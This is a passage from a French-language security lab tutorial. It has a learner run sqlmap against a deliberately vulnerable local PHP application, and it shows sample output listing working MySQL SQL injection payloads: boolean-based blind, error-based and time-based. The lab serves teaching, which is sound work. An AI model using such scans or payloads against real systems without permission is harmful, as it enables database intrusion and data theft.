Établir une injection réussie sur une cible
Dans cette étape, vous utiliserez sqlmap pour scanner une application web et confirmer qu'elle est vulnérable à l'injection SQL. Notre script de configuration a déjà créé une application PHP simple et vulnérable fonctionnant sur le serveur Apache local. Nous devons pointer sqlmap vers l'URL cible et le laisser effectuer l'analyse initiale.
Tout d'abord, exécutez la commande sqlmap suivante dans votre terminal. Nous utilisons le drapeau -u pour spécifier l'URL cible et --batch pour exécuter en mode non interactif, en acceptant toutes les réponses par défaut.
sqlmap -u "http://127.0.0.1/index.php?id=1" --batch
sqlmap effectuera une série de tests. Attendez qu'il ait terminé. La sortie montrera que le paramètre GET id est vulnérable. Cette confirmation est la première étape nécessaire avant de pouvoir passer à l'exploitation.
Vous devriez voir une sortie similaire à celle-ci, confirmant la vulnérabilité :
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1421=1421
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'